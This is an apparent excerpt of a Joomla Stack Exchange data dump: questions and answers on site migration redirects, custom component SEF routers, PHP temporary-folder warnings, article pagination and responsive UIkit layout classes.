  <row Id="20820" PostTypeId="1" CreationDate="2017-05-18T20:41:15.853" Score="1" ViewCount="164" Body="&lt;p&gt;I have migrated my Joomla site from a shared host to a dedicated server.&#xA;In the shared host I was using Cpanel(root directory:public_html) and in the dedicated server I´m using Plesk(root directory:httpdocs).&#xA;Both Linux servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the migration with akeeba component, and everything seems to be alright except the home page. All the other links seem to work, and the administrative area also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that I can not access my site from mysite.com, redirects to a default plesk page.&#xA; However if I add index.php to the url the page will load. eg: www.mysite.com/index.php&#xA;But with this way I lose the SEO friendly fixture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Joomla version - 3.7.0&#xA;PHP - 5.6.30 (in both servers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I have in the .httacess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your&#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the&#xA;# beginning of the line), reload your site in your browser and test your sef urls. If&#xA;# they work, then it has been set by your server administrator and you do not need to&#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed&#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone have idea of ​​what to do in this situation?&#xA;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="8832" LastActivityDate="2017-06-17T21:21:09.050" Title="Migration to another server cause problem with home page" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20821" PostTypeId="2" ParentId="20820" CreationDate="2017-05-18T20:52:50.940" Score="1" Body="&lt;p&gt;Connect with FTP or through your Plesk File Manager and see if there is any default index.html file by the plesk server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this is what gets loaded, instead of your index.php and that's why you see the plesk page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest to instruct your server for the files execution order, so to parse first index.php vs index.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so in your .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#File execution order&#xA;DirectoryIndex index.php index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-18T20:52:50.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20822" PostTypeId="2" ParentId="20818" CreationDate="2017-05-18T21:01:44.210" Score="1" Body="&lt;p&gt;In joomla plugins are not like main parts as in wordpress, components and modules are main parts by which content displayed in joomla. Not getting that updating of which plugins breaks joomla theme!. When you update joomla plugins, make sure those plugins are compatible with your joomla version. I guess you will check/contact developers of the plugins.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2017-05-18T21:01:44.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20823" PostTypeId="2" ParentId="20795" CreationDate="2017-05-19T02:37:41.813" Score="3" Body="&lt;p&gt;You probably have an extension from &lt;a href=&quot;https://www.regularlabs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs&lt;/a&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make a search inside plugins. Go to &lt;em&gt;extensions-&gt;plugins&lt;/em&gt; and search, for instance, per 'regular'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any, they should be listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-05-19T02:37:41.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20824" PostTypeId="1" CreationDate="2017-05-19T03:58:16.123" Score="1" ViewCount="1508" Body="&lt;p&gt;I am creating a custom component that will get data by json from another url. So far it works good but I am having some difficult trying to apply a SEF URL with a router.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, current url from my component is this: &#xA;index.php?option=com_mycomponent&amp;amp;id=333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired SEF URL (It will not be generated by Jroute, it just need to be read by joomla) is:&#xA;website.com/alias-id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need the id to parse JSON. Alias is irrelevant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is... I cannot make the router.php work at all. My route never returns the values from my $vars array. It always says: Notice: Undefined variable: vars in [...]router.php on line 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trying everything, but even if I try to put a exact var inside the ParseRoute function. (Like $vars[] = 30; ) the $vars output is still undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried countless examples, I even tried using Jumi router.php as a example because I know that is a extension that will recognise the alias on frontend  URL without any link on Jroute or menu id... but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current router.php. Because there is no query at all (and I have no idea where it comes from btw) I dindt used a $query var on BuildRoute function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myComponentBuildRoute()&#xA;    {&#xA;    $url = JURI::getInstance();&#xA;&#xA;    $myid = end(explode('-', $url)); // gets the id from a /alias-id format&#xA;    $segments = array();&#xA;    $segments[] = $myid;&#xA;&#xA;    return $segments;&#xA;}&#xA;&#xA;    function myComponentParseRoute($segments)&#xA;    {&#xA;       $vars = array();&#xA;&#xA;&#xA;    $vars['jid'] = $segments[0];&#xA;&#xA;    return $vars;&#xA;}&#xA;&#xA;print_r($vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So maybe I am missing the logic on the router.php at all. Maybe it needs something from view. I am not even sure how I may use the $vars array after it finnaly pass. But then what I need to do to make a SEF url that Joomla will understand and will not give me a 404?&lt;/p&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2017-06-01T18:21:22.243" Title="Create SEF URLs from a Custom Component that does not search on database" Tags="|development|custom-component|jroute|router|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20825" PostTypeId="2" ParentId="19418" CreationDate="2017-05-19T04:37:24.027" Score="0" Body="&lt;p&gt;I think, since you are now serving through https, you should also set the site as https in global configuration, so Joomla knows and works this way and have all its internal calls and assets from https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, tweak the settings in CloudFlare for the propper connection of https between CloudFlare and your site wherever needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have done already so, then search in your Joomla modules/templates etc for any absolute hard-coded calls to using the http protocol, as those will not turn automatically to https despite your changes. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-19T04:37:24.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20826" PostTypeId="2" ParentId="20818" CreationDate="2017-05-19T05:05:28.337" Score="1" Body="&lt;p&gt;There are a few things that might be happening that break your site.&lt;/p&gt;&#xA;&lt;p&gt;It can be that indeed you are using a plugin that has compatibility problems.&lt;/p&gt;&#xA;&lt;p&gt;Or another case you need to keep in mind is that some of your extensions could contain customizations on their core files, that get overwritten with the update. So any code that was responsible for certain functionality or layout you currently see in your website are removed and you lose this customization.&lt;/p&gt;&#xA;&lt;p&gt;Or it can be due to an overall bad setup/implementation of the site from the beginning, using a combination of bad practices (using already old extensions that are not supported anymore, bad custom coding, bad template implementation, too many extensions that conflict with each other, etc).&lt;/p&gt;&#xA;&lt;p&gt;Compatibility issues usually will manifest with php errors - so to see if this is the case, enable error reporting and look for errors printing in your screen. Sometimes it might be just a simple fix, to update a part of the extension's code to be compatible, some other types might be more complicated of course.&lt;/p&gt;&#xA;&lt;p&gt;Now, you have a valid question when asking how to know an extension is compatible, before you updating.&lt;/p&gt;&#xA;&lt;p&gt;There is not a straightforward way to know this through the Joomla Backend. I would recommend you to become familiar with the set of 3rd party extensions you have installed on your website, so at first phase you know which ones you are using, where, why and how you are using them.&#xA;Then get rid of those that you don't use/need.&lt;/p&gt;&#xA;&lt;p&gt;For doing so, go in Extensions Manager, and start filtering by extension type to see them all for all the types. Get to know your 3rd party extensions list.&lt;/p&gt;&#xA;&lt;p&gt;Search also in Joomla Extensions Directory for compatibility and recent reviews, but also in Google, for those extensions and visit the developers websites to find more information. If for example you find an extension that is unpublished in JED, and also you find an outdated and abandoned website of the extension's developer, then likely this extension is not maintained anymore and won't have recent updates nor you should expect any - in this case it will be wise to remove or replace this extension.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes, helpful information for the extensions like the developers website, or support forums/emails, changelogs, etc... you can find also when you visit them in their backend - or if you look at their code php files.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;I just discovered this Google Doc, from a comment by Neil Robertson on another question in JSE, that is listing Joomla extensions that are compatible with J3.5 and php 7. It can be helpful in some cases:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit?pref=2&amp;amp;pli=1#gid=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit?pref=2&amp;amp;pli=1#gid=0&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-19T07:32:26.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20827" PostTypeId="1" CreationDate="2017-05-19T14:50:24.447" Score="2" ViewCount="200" Body="&lt;p&gt;Complete error message when I click save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Save failed with the following error: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Joomla 3.6.5, admin backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had the same problem?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-05-19T21:20:36.757" LastActivityDate="2017-06-20T18:18:22.057" Title="Empty error message when saving article" Tags="|articles|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20828" PostTypeId="1" AcceptedAnswerId="20864" CreationDate="2017-05-19T14:50:59.083" Score="1" ViewCount="482" Body="&lt;p&gt;I update Joomla to the most recent version (3.7.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also update the Joomla component SobriPro to the most recent version (1.3.7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the updates all works fine, after the updates the SobriPro component always responds with an empty page. Accessing SobiPro client or administration pages always retune a blank html page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already consult the administration and client Joomla error logs but nothing is register. I also try to run Joomla in debug mode but not getting any message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure I run the updates first in a local dev environment. In the local server all runs OK, I only have problems in the production environment.&lt;/p&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2017-05-24T16:17:45.577" Title="Sobipro component respond with a blank page" Tags="|component|joomla-3.7|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="20829" PostTypeId="2" ParentId="20824" CreationDate="2017-05-19T16:22:31.483" Score="1" Body="&lt;p&gt;Create your URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JRoute::_('index.php?option=com_mycomponent&amp;amp;Itemid='.Itemid.'&amp;amp;aliasid=alias-'.$id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will want to include the Itemid of your current menu item, makes things cleaner and helps you keep track of where you are. That can be found with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Itemid = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this for your router. It is a very simple router that looks for a url variable of aliasid and passes that value as a segment to the route parser. The route parser then writes that element to a variable. The variable can then be called using the application input method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myComponentBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $segments = array();&#xA;    if(isset($query['aliasid'])){&#xA;        $segments[] = $query['aliasid'];&#xA;        unset($query['aliasid']);&#xA;    }&#xA;    return $segments;&#xA;}&#xA;&#xA;&#xA;function myComponentParseRoute($segments)&#xA;{&#xA;    $vars = array();&#xA;    switch(count($segments))&#xA;    {&#xA;        case '1':&#xA;            $id = end(explode('-', str_replace(':','-',$segments[0])));&#xA;            $vars['id'] = $id;&#xA;            break;&#xA;    }&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to get the id inside your view just use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$this-&amp;gt;id = $JInput-&amp;gt;get('id','','int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-05-19T16:22:31.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20830" PostTypeId="2" ParentId="20795" CreationDate="2017-05-19T18:20:55.610" Score="1" Body="&lt;p&gt;I had the same problem, updating Regular Labs's Email Protector plugin to the latest version (4.1.6) fixed the issue for me.&#xA;Thanks n.h. for the hint!&lt;/p&gt;&#xA;" OwnerUserId="11098" LastActivityDate="2017-05-19T18:20:55.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20831" PostTypeId="2" ParentId="20827" CreationDate="2017-05-21T18:13:57.937" Score="2" Body="&lt;p&gt;On the &lt;code&gt;Server&lt;/code&gt; tab of global configuration set &lt;code&gt;Error reporting&lt;/code&gt; to &lt;code&gt;Development&lt;/code&gt; and enable &lt;code&gt;Debug System&lt;/code&gt; in &lt;code&gt;System&lt;/code&gt; tab. That should give you a more descriptive error message as well as a back trace.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-21T18:13:57.937" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20832" PostTypeId="2" ParentId="20815" CreationDate="2017-05-21T18:17:41.980" Score="1" Body="&lt;p&gt;This has nothing to do with Joomla! it self. Joomla! has no direct access to your server memory. If there is anything like this happening in your Joomla! installation you should contact your hosting provider and figure out it with him cause this can be a possible security risk if there are memory leaks on the server. This his job to take care of this. Of course you can provide him with those dump files. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-21T18:17:41.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20833" PostTypeId="2" ParentId="20824" CreationDate="2017-05-22T00:36:21.393" Score="3" Body="&lt;p&gt;One thing is, that you're trying to create a router in the old way, it changed over time. Now router is a class. Second thing is, one of your component views have to be set as a front-page for a system. Without that, in most websites the default router will be com_content's router, so every wrong URL(url that don't have a proper menu item/parent item) will be handled by &lt;code&gt;com_content&lt;/code&gt; and most likely return 404. If you want to handle SEF urls for a pages that don't have a proper menu item its a must.&lt;/p&gt;&#xA;&lt;h2&gt;Example component router&lt;/h2&gt;&#xA;&lt;p&gt;You can find a proper example router in the link below, but have in mind that in one of the next version of Joomla! the way you build the router will change again (if they get rid of the bugs).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla-extensions/weblinks/blob/master/src/components/com_weblinks/router.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-extensions/weblinks/blob/master/src/components/com_weblinks/router.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-22T00:36:21.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20834" PostTypeId="2" ParentId="20811" CreationDate="2017-05-22T01:16:22.587" Score="0" Body="&lt;p&gt;Use &lt;code&gt;com_redirect&lt;/code&gt; and make sure you have the plugin enabled. As I assume you have a proper experience with SQL so it should be quite easy to insert all the redirections to the database (just make sure all of them are published). If it is possible as a new URL (the place where user should be redirected) write a relative URL (e.g. &lt;code&gt;/your/new/url&lt;/code&gt;). That way you will not have to change it after moving and you can test those URL's before going on production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible that you have some bad URL's on that list you can test it quite easily by writing a simple bot that will test them for you on a dev server. Just prepare the old URLs in the database by changing the base of your URL to match development URL or change them to relative ones. Then in the bot application just execute each of them (for example by &lt;code&gt;file_get_contents&lt;/code&gt; function). After you execute the whole list just check 404 count on the URLs in &lt;code&gt;com_redirect&lt;/code&gt; component. When you finish fixing or removing all the bad URLs  just change the base of your old URLs back to the production (or use a relative URL as old URL and new URL, that way you will not have to change them later). That way you have all your URL's ready for migration.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-22T01:16:22.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20835" PostTypeId="1" CreationDate="2017-05-22T07:24:23.967" Score="6" ViewCount="19595" Body="&lt;p&gt;I'm attempting to migrate a Joomla 3.7.1 website onto a new server - and have (mostly) successfully done so using a traditional AkeebaBackup migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source site/server is running PHP 5.6.30 with EasyApache 3, and the destination site/server is running PHP 7.1 with EasyApache 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most obvious problem I'm seeing on the destination site is that within EXTENSIONS &gt; MANAGE &gt; WARNINGS, the message &lt;strong&gt;&quot;The PHP temporary folder is not set.&quot;&lt;/strong&gt; appears - and I cannot understand why, because;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My temporary folder path has been defined in GLOBAL CONFIGURATION &gt; SERVER &gt; PATH TO TEMP FOLDER (and this is correctly reflected within the &lt;em&gt;configuration.php&lt;/em&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;The temporary folder path has also been defined in the Joomla root's &lt;em&gt;php.ini&lt;/em&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;If I run phpinfo using a Joomla article, or a custom .php file in the site's root, the &lt;em&gt;upload_tmp_dir&lt;/em&gt; value correctly returns my defined folder path.&lt;/li&gt;&#xA;&lt;li&gt;My temporary folder does exist and has the correct permissions (0755) - identical to those on my fully-working source site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I look at phpinfo via Joomla's own SYSTEM &gt; SYSTEM INFORMATION &gt; PHP INFORMATION, the &lt;em&gt;upload_tmp_dir&lt;/em&gt; value states 'no value', in complete contradiction to the phpinfo results run elsewhere (as mentioned above).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question, quite simply, is how do I fix the message &lt;strong&gt;&quot;The PHP temporary folder is not set.&quot;&lt;/strong&gt; - and why is Joomla's own phpinfo not finding the &lt;em&gt;upload_tmp_dir&lt;/em&gt; when everything else is?  The source site does not have this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other notable difference that I should mention is that since the switch from EasyApache 3 to EasyApache 4, I'm no longer using suPHP_ConfigPath in order to define my custom &lt;em&gt;php.ini&lt;/em&gt; file (as I am on the source site) - and am instead using the 'MultiPHP INI Editor' within cPanel.  Because &lt;em&gt;upload_tmp_dir&lt;/em&gt; is not one of the included parameters, I've added it via Editor Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any thoughts.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditDate="2017-05-22T07:30:18.883" LastActivityDate="2022-08-13T04:24:37.450" Title="How can I fix &quot;The PHP temporary folder is not set&quot; warning/error?" Tags="|apache|joomla-3.7|php7|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20836" PostTypeId="1" CreationDate="2017-05-22T08:20:09.630" Score="2" ViewCount="3718" Body="&lt;p&gt;I'm using helix3. my website is 1PSD.net. how to put a button &amp;quot;next&amp;quot; in bottom my pages?like this picture? &lt;a href=&quot;https://i.stack.imgur.com/b5kQ9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b5kQ9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/quJLB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/quJLB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;I mean, not button &amp;quot;READ MORE&amp;quot;. I want multiple pages similar the left post &amp;quot;Beginners&amp;quot; and right post &amp;quot;Professionals&amp;quot; in home page. thank you very much.&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;When you click on &amp;quot;professionals&amp;quot; in home. You enter this page: 1psd.net/index.php/using-joomla/extensions/components/… bottom this page is &amp;quot;prev&amp;quot; and &amp;quot;next&amp;quot;. but when you click on &amp;quot;upgraders&amp;quot; in home.&amp;quot;prev&amp;quot; and &amp;quot;next&amp;quot; does not exist. How to put &amp;quot;prev&amp;quot; and &amp;quot;next&amp;quot; for &amp;quot;upgraders&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="11107" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-21T15:10:09.917" Title="How to show previous/next buttons in my articles?" Tags="|joomla-3.x|plugin|articles|com-content|pagination|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20837" PostTypeId="2" ParentId="20835" CreationDate="2017-05-22T11:05:17.213" Score="3" Body="&lt;p&gt;Likely Joomla will work without issues even with the php's tmp directory not being set. However, if you get issues, or simply want to get rid of this warning in you Joomla Admin, then you have to define in your php configuration the &lt;a href=&quot;http://php.net/manual/en/ini.core.php#ini.upload-tmp-dir&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;upload-tmp-dir&lt;/strong&gt;&lt;/a&gt; directive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that setting up the hosting/server environment is not exactly a Joomla question. There is nothing inside Joomla to help you define this core php.ini directive, and also do note that setting up Joomla's tmp directory is a different thing than setting up php upload_tmp_dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now regarding your issue and with all these in mind and the info you have provided, it's hard to say what's wrong in your setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly if you get that upload_tmp_dir is not set, then this is how it is - at least for the backend. &#xA;I am sure that if you contact your hosting provider/system administrator, they will resolve this in just a few minutes. &#xA;Otherwise you might get some clue if you look at Joomla's System Info (phpinfo) page for which php.ini files are getting loaded in the backend and review those settings there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah - and usually you have to restart apache, after making any changes to php.ini files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-22T11:05:17.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20838" PostTypeId="2" ParentId="20836" CreationDate="2017-05-22T12:40:21.503" Score="3" Body="&lt;p&gt;To display Next / Previous buttons at the bottom of articles pages, then first of all the content pagination plugin should be enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for each of the articles, the corresponding value of &lt;code&gt;show pagination&lt;/code&gt;, should be set to Show (Yes). This can be set globally in the global &lt;code&gt;com_content&lt;/code&gt; configuration (options), or at the menu item that is responsible for a particular article view (e.g. a blog category layout menu item can control the display for these articles), or on per article level (article options). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note, that the pagination will occur only among articles of the same category.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-22T12:40:21.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20839" PostTypeId="1" CreationDate="2017-05-22T17:03:05.377" Score="1" ViewCount="145" Body="&lt;p&gt;Any idea why joomla dont change the class&#xA;uk-width-1-3 in desktop to&#xA;uk-width-1-1 in smartphone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be automacally?&#xA;&lt;a href=&quot;https://www.feltrosrenner.com.br/index.php/produtos&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.feltrosrenner.com.br/index.php/produtos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4YP9w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4YP9w.png&quot; alt=&quot;View in desktop&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TAcIp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TAcIp.png&quot; alt=&quot;View in smartphone&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2017-08-20T20:38:22.883" Title="How to change class uk-width-1-3 to uk-width-1-1" Tags="|joomla-3.x|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20840" PostTypeId="2" ParentId="20839" CreationDate="2017-05-22T17:40:49.663" Score="1" Body="&lt;p&gt;You seem to be using uikit, whose instructions to creating a grid layout are &lt;a href=&quot;https://getuikit.com/v2/docs/grid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  The &lt;em&gt;Responsive width&lt;/em&gt; section is the bit you need to look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;code&gt;uk-width-1-3&lt;/code&gt; applies to all screen widths, &lt;code&gt;uk-width-small-1-3&lt;/code&gt; would apply to devices over 470px only, and below that width would stack the elements in a single column, which sounds like what you are wanting to do.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-22T17:40:49.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
